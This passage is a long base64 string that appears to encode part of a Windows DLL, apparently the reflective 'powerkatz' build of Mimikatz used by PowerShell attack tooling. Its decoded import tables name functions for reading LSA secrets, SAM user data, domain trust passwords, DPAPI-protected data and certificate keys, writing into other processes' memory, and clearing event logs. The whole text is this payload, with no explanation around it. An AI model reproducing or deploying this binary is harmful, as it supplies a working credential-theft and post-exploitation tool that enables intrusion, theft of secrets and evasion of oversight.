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PcGVuUG9saWN5AMUBTHNhUXVlcnlJbmZvcm1hdGlvblBvbGljeQCDAENyZWF0ZVdlbGxLbm93blNpZAAAfABDcmVhdGVQcm9jZXNzQXNVc2VyVwAAfQBDcmVhdGVQcm9jZXNzV2l0aExvZ29uVwBuAlJlZ1F1ZXJ5VmFsdWVFeFcAAFICUmVnRW51bVZhbHVlVwBhAlJlZ09wZW5LZXlFeFcAfgJSZWdTZXRWYWx1ZUV4VwAATwJSZWdFbnVtS2V5RXhXAGgCUmVnUXVlcnlJbmZvS2V5VwAAMAJSZWdDbG9zZUtleQDtAlN5c3RlbUZ1bmN0aW9uMDMyACkCUXVlcnlTZXJ2aWNlU3RhdHVzRXgAAPsBT3BlblNlcnZpY2VXAADJAlN0YXJ0U2VydmljZVcAXABDb250cm9sU2VydmljZQAA2gBEZWxldGVTZXJ2aWNlAPkBT3BlblNDTWFuYWdlclcAAFcAQ2xvc2VTZXJ2aWNlSGFuZGxlAABsAENvbnZlcnRTaWRUb1N0cmluZ1NpZFcAAMEAQ3J5cHRHZW5SYW5kb20AAIABSXNUZXh0VW5pY29kZQBaAUdldFRva2VuSW5mb3JtYXRpb24AjwFMb29rdXBBY2NvdW50TmFtZVcAAJEBTG9va3VwQWNjb3VudFNpZFcA9wFPcGVuUHJvY2Vzc1Rva2VuAAB0AENvbnZlcnRTdHJpbmdTaWRUb1NpZFcAAKsBTHNhRnJlZU1lbW9yeQDTAlN5c3RlbUZ1bmN0aW9uMDA2ALwAQ3J5cHRFbnVtUHJvdmlkZXJUeXBlc1cAvgBDcnlwdEVudW1Qcm92aWRlcnNXAMcAQ3J5cHRHZXRVc2VyS2V5APYBT3BlbkV2ZW50TG9nVwBTAENsZWFyRXZlbnRMb2dXAABDAUdldE51bWJlck9mRXZlbnRMb2dSZWNvcmRzAAAnAlF1ZXJ5U2VydmljZU9iamVjdFNlY3VyaXR5AABDAEJ1aWxkU2VjdXJpdHlEZXNjcmlwdG9yVwAAIAFGcmVlU2lkAL8CU2V0U2VydmljZU9iamVjdFNlY3VyaXR5AAAgAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAAgQBDcmVhdGVTZXJ2aWNlVwAA5gJTeXN0ZW1GdW5jdGlvbjAyNQDMAUxzYVJldHJpZXZlUHJpdmF0ZURhdGEAAL8BTHNhT3BlblNlY3JldADJAUxzYVF1ZXJ5VHJ1c3RlZERvbWFpbkluZm9CeU5hbWUAxgFMc2FRdWVyeVNlY3JldAAAzgJTeXN0ZW1GdW5jdGlvbjAwMQDSAlN5c3RlbUZ1bmN0aW9uMDA1AFcBR2V0U2lkU3ViQXV0aG9yaXR5AADaAlN5c3RlbUZ1bmN0aW9uMDEzAFgBR2V0U2lkU3ViQXV0aG9yaXR5Q291bnQAqgFMc2FFbnVtZXJhdGVUcnVzdGVkRG9tYWluc0V4AACXAUxvb2t1cFByaXZpbGVnZVZhbHVlVwCGAUlzVmFsaWRTaWQAAPwBT3BlblRocmVhZFRva2VuAN8ARHVwbGljYXRlVG9rZW5FeAAAUQBDaGVja1Rva2VuTWVtYmVyc2hpcAAAwQJTZXRUaHJlYWRUb2tlbgAAjABDcmVkRnJlZQAAiQBDcmVkRW51bWVyYXRlVwAAQURWQVBJMzIuZGxsAADWAENyeXB0VW5wcm90ZWN0RGF0YQAAewBDcnlwdEJpbmFyeVRvU3RyaW5nVwAA1ABDcnlwdFN0cmluZ1RvQmluYXJ5VwAAugBDcnlwdFByb3RlY3REYXRhAAB5AENyeXB0QWNxdWlyZUNlcnRpZmljYXRlUHJpdmF0ZUtleQAIAENlcnRBZGRFbmNvZGVkQ2VydGlmaWNhdGVUb1N0b3JlAABAAENlcnRGcmVlQ2VydGlmaWNhdGVDb250ZXh0AAAvAENlcnRFbnVtU3lzdGVtU3RvcmUABABDZXJ0QWRkQ2VydGlmaWNhdGVDb250ZXh0VG9TdG9yZQAALABDZXJ0RW51bUNlcnRpZmljYXRlc0luU3RvcmUAEgBDZXJ0Q2xvc2VTdG9yZQAAEAFQRlhFeHBvcnRDZXJ0U3RvcmVFeAAAagBDZXJ0U2V0Q2VydGlmaWNhdGVDb250ZXh0UHJvcGVydHkASwBDZXJ0R2V0TmFtZVN0cmluZ1cAAFcAQ2VydE9wZW5TdG9yZQBGAENlcnRHZXRDZXJ0aWZpY2F0ZUNvbnRleHRQcm9wZXJ0eQBDUllQVDMyLmRsbAAGAENETG9jYXRlQ2hlY2tTdW0AAAwATUQ1SW5pdAANAE1ENVVwZGF0ZQALAE1ENUZpbmFsAAAFAENETG9jYXRlQ1N5c3RlbQAEAENER2VuZXJhdGVSYW5kb21CaXRzAABjcnlwdGRsbC5kbGwAABAARHNHZXREY05hbWVXAABlAE5ldEFwaUJ1ZmZlckZyZWUAAE5FVEFQSTMyLmRsbAAAFABDb0NyZWF0ZUluc3RhbmNlAABwAENvVW5pbml0aWFsaXplAABDAENvSW5pdGlhbGl6ZUV4AABvbGUzMi5kbGwAT0xFQVVUMzIuZGxsAAB5AVJwY0JpbmRpbmdTZXRPcHRpb24AZwFScGNCaW5kaW5nRnJvbVN0cmluZ0JpbmRpbmdXAAD2AVJwY1N0cmluZ0JpbmRpbmdDb21wb3NlVwAAdgFScGNCaW5kaW5nU2V0QXV0aEluZm9FeFcAAPoBUnBjU3RyaW5nRnJlZVcAAGUBUnBjQmluZGluZ0ZyZWUAACAASV9ScGNCaW5kaW5nSW5xU2VjdXJpdHlDb250ZXh0AACVAE5kckNsaWVudENhbGwyAABSUENSVDQuZGxsAAA6AFBhdGhDb21iaW5lVwAAOABQYXRoQ2Fub25pY2FsaXplVwBlAFBhdGhJc1JlbGF0aXZlVwBJAFBhdGhGaW5kRmlsZU5hbWVXAFsAUGF0aElzRGlyZWN0b3J5VwAAU0hMV0FQSS5kbGwAEwBTYW1FbnVtZXJhdGVVc2Vyc0luRG9tYWluAB0AU2FtTG9va3VwTmFtZXNJbkRvbWFpbgAAHwBTYW1PcGVuRG9tYWluACEAU2FtT3BlblVzZXIAHABTYW1Mb29rdXBJZHNJbkRvbWFpbgAABwBTYW1Db25uZWN0AAAGAFNhbUNsb3NlSGFuZGxlAAAUAFNhbUZyZWVNZW1vcnkAJgBTYW1RdWVyeUluZm9ybWF0aW9uVXNlcgARAFNhbUVudW1lcmF0ZURvbWFpbnNJblNhbVNlcnZlcgAALABTYW1SaWRUb1NpZAAVAFNhbUdldEFsaWFzTWVtYmVyc2hpcAAbAFNhbUxvb2t1cERvbWFpbkluU2FtU2VydmVyAAAYAFNhbUdldEdyb3Vwc0ZvclVzZXIAU0FNTElCLmRsbAAAGABGcmVlQ29udGV4dEJ1ZmZlcgA0AFF1ZXJ5Q29udGV4dEF0dHJpYnV0ZXNXACcATHNhQ29ubmVjdFVudHJ1c3RlZAAoAExzYURlcmVnaXN0ZXJMb2dvblByb2Nlc3MAJgBMc2FDYWxsQXV0aGVudGljYXRpb25QYWNrYWdlAAAtAExzYUxvb2t1cEF1dGhlbnRpY2F0aW9uUGFja2FnZQAAKgBMc2FGcmVlUmV0dXJuQnVmZmVyAFNlY3VyMzIuZGxsAAYAQ29tbWFuZExpbmVUb0FyZ3ZXAABTSEVMTDMyLmRsbADHAUlzQ2hhckFscGhhTnVtZXJpY1cAQAFHZXRLZXlib2FyZExheW91dABVU0VSMzIuZGxsAAAFAEhpZERfR2V0SGlkR3VpZAABAEhpZERfRnJlZVByZXBhcnNlZERhdGEAAAwASGlkRF9HZXRQcmVwYXJzZWREYXRhABUASGlkUF9HZXRDYXBzAAACAEhpZERfR2V0QXR0cmlidXRlcwAASElELkRMTAA/AVNldHVwRGlEZXN0cm95RGV2aWNlSW5mb0xpc3QAAEMBU2V0dXBEaUVudW1EZXZpY2VJbnRlcmZhY2VzAFYBU2V0dXBEaUdldENsYXNzRGV2c1cAAG4BU2V0dXBEaUdldERldmljZUludGVyZmFjZURldGFpbFcAAFNFVFVQQVBJLmRsbAAAV0xEQVAzMi5kbGwAFQBSdGxGcmVlQW5zaVN0cmluZwAgAFJ0bFVuaWNvZGVTdHJpbmdUb0Fuc2lTdHJpbmcAABYAUnRsRnJlZVVuaWNvZGVTdHJpbmcAABIAUnRsRG93bmNhc2VVbmljb2RlU3RyaW5nAAAUAFJ0bEVxdWFsVW5pY29kZVN0cmluZwAcAFJ0bEluaXRVbmljb2RlU3RyaW5nAAACAE50UXVlcnlPYmplY3QAGABSdGxHZXRDb21wcmVzc2lvbldvcmtTcGFjZVNpemUAAA8AUnRsQ29tcHJlc3NCdWZmZXIABQBOdFF1ZXJ5U3lzdGVtSW5mb3JtYXRpb24AAAEATnRRdWVyeUluZm9ybWF0aW9uUHJvY2VzcwAZAFJ0bEdldEN1cnJlbnRQZWIAABAAUnRsQ3JlYXRlVXNlclRocmVhZAAXAFJ0bEdVSURGcm9tU3RyaW5nAB8AUnRsU3RyaW5nRnJvbUdVSUQAGgBSdGxHZXROdFZlcnNpb25OdW1iZXJzAAAOAFJ0bEFwcGVuZFVuaWNvZGVTdHJpbmdUb1N0cmluZwAAIgBSdGxVcGNhc2VVbmljb2RlU3RyaW5nAAANAFJ0bEFuc2lTdHJpbmdUb1VuaWNvZGVTdHJpbmcAAAYATnRSZXN1bWVQcm9jZXNzAAwAUnRsQWRqdXN0UHJpdmlsZWdlAAALAE50VGVybWluYXRlUHJvY2VzcwAACgBOdFN1c3BlbmRQcm9jZXNzAAAIAE50U2V0U3lzdGVtRW52aXJvbm1lbnRWYWx1ZUV4AAQATnRRdWVyeVN5c3RlbUVudmlyb25tZW50VmFsdWVFeAAAAE50RW51bWVyYXRlU3lzdGVtRW52aXJvbm1lbnRWYWx1ZXNFeAAAEwBSdGxFcXVhbFN0cmluZwAAbnRkbGwuZGxsAAEASV9OZXRTZXJ2ZXJSZXFDaGFsbGVuZ2UAAABJX05ldFNlcnZlckF1dGhlbnRpY2F0ZTIAAAIASV9OZXRTZXJ2ZXJUcnVzdFBhc3N3b3Jkc0dldAAAbmV0YXBpMzIuZGxsAABGA0xvY2FsQWxsb2MAACsBRmlsZVRpbWVUb1N5c3RlbVRpbWUAAEoDTG9jYWxGcmVlAMMDUmVhZEZpbGUAADQFV3JpdGVGaWxlAI8AQ3JlYXRlRmlsZVcAwARTbGVlcAAIAkdldExhc3RFcnJvcgAAzwRUZXJtaW5hdGVUaHJlYWQAUgBDbG9zZUhhbmRsZQC0AENyZWF0ZVRocmVhZAAAPwFGaW5kRmlyc3RGaWxlVwAA+AFHZXRGaWxlU2l6ZUV4AEsBRmluZE5leHRGaWxlVwAjAUV4cGFuZEVudmlyb25tZW50U3RyaW5nc1cANAFGaW5kQ2xvc2UA8QFHZXRGaWxlQXR0cmlidXRlc1cAAMUBR2V0Q3VycmVudERpcmVjdG9yeVcAAF0BRmx1c2hGaWxlQnVmZmVycwAAxgFHZXRDdXJyZW50UHJvY2VzcwDsAER1cGxpY2F0ZUhhbmRsZQCCA09wZW5Qcm9jZXNzAOEARGV2aWNlSW9Db250cm9sAD0FV3JpdGVQcm9jZXNzTWVtb3J5AAD+BFZpcnR1YWxQcm90ZWN0AAD7BFZpcnR1YWxGcmVlAPgEVmlydHVhbEFsbG9jAAB0BFNldEZpbGVQb2ludGVyAAD/BFZpcnR1YWxQcm90ZWN0RXgAAPkEVmlydHVhbEFsbG9jRXgAAMYDUmVhZFByb2Nlc3NNZW1vcnkA/ARWaXJ0dWFsRnJlZUV4AAAFVmlydHVhbFF1ZXJ5AAABBVZpcnR1YWxRdWVyeUV4AADlBFVubWFwVmlld09mRmlsZQCMAENyZWF0ZUZpbGVNYXBwaW5nVwAAWQNNYXBWaWV3T2ZGaWxlAE0DTG9jYWxSZUFsbG9jAACoAENy